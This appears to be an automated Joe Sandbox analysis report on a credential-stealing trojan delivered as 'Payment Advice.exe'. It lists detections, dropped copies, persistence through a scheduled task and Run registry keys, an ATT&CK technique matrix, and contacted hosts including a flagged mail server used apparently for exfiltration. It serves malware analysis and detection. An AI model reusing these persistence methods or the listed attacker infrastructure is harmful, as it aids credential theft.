Source: Yara match	File source: 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.4125631218.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Payment Advice.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Payment Advice.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sFPEKzHsLkYZIz.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7952, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BjTxJte.exe PID: 4092, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	211 Security Software Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment Advice.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.GenSteal
Payment Advice.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.GenSteal
C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.GenSteal

Source	Detection	Scanner	Label
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
seawaysfreight-bd.com	94.100.26.91	true	false	unknown
api.ipify.org	104.26.13.205	true	false	high
mail.seawaysfreight-bd.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://account.dyn.com/	Payment Advice.exe, 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, BjTxJte.exe, 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.seawaysfreight-bd.com	Payment Advice.exe, 00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E1E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000318E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E67000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.00000000030FD000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002FF8000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000003247000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers?	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/t	Payment Advice.exe, 00000008.00000002.4124616083.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.0000000002891000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	Payment Advice.exe, BjTxJte.exe.8.dr, sFPEKzHsLkYZIz.exe.0.dr	false	URL Reputation: safe	unknown
http://seawaysfreight-bd.com	Payment Advice.exe, 00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E1E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000318E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002E67000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.00000000030FD000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002FF8000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000003247000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.carterandcone.coml	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.galapagosdesign.com/staff/dennis.htm	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org	Payment Advice.exe, 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.0000000002891000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers/frere-user.html	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r3.i.lencr.org/09	Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006260000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r3.o.lencr.org0	Payment Advice.exe, 00000008.00000002.4119763177.000000000101B000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4171500763.0000000006662000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006260000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4169183072.0000000006281000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4119763177.000000000103D000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002D84000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4118934244.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009210000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4195658580.0000000009225000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002F49000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4116736214.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.000000000309A000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Payment Advice.exe, 00000000.00000002.1710843743.000000000318F000.00000004.00000800.00020000.00000000.sdmp, Payment Advice.exe, 00000008.00000002.4124616083.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 00000009.00000002.1756192021.000000000336F000.00000004.00000800.00020000.00000000.sdmp, sFPEKzHsLkYZIz.exe, 0000000D.00000002.4124167230.0000000002891000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000E.00000002.1849213275.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000013.00000002.4125579074.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.1931578848.0000000002CDD000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000019.00000002.4125631218.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	Payment Advice.exe, 00000000.00000002.1718407994.0000000007262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
94.100.26.91	seawaysfreight-bd.com	Netherlands		29802	HVC-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428252
Start date and time:	2024-04-18 18:25:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment Advice.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@33/20@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 423 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Payment Advice.exe

Simulations

Behavior and APIs

Time	Type	Description
17:26:01	Task Scheduler	Run new task: sFPEKzHsLkYZIz path: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
17:26:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run BjTxJte C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
17:26:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run BjTxJte C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
18:25:58	API Interceptor	5006474x Sleep call for process: Payment Advice.exe modified
18:26:00	API Interceptor	35x Sleep call for process: powershell.exe modified
18:26:04	API Interceptor	489671x Sleep call for process: sFPEKzHsLkYZIz.exe modified
18:26:14	API Interceptor	8015528x Sleep call for process: BjTxJte.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.13.205	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
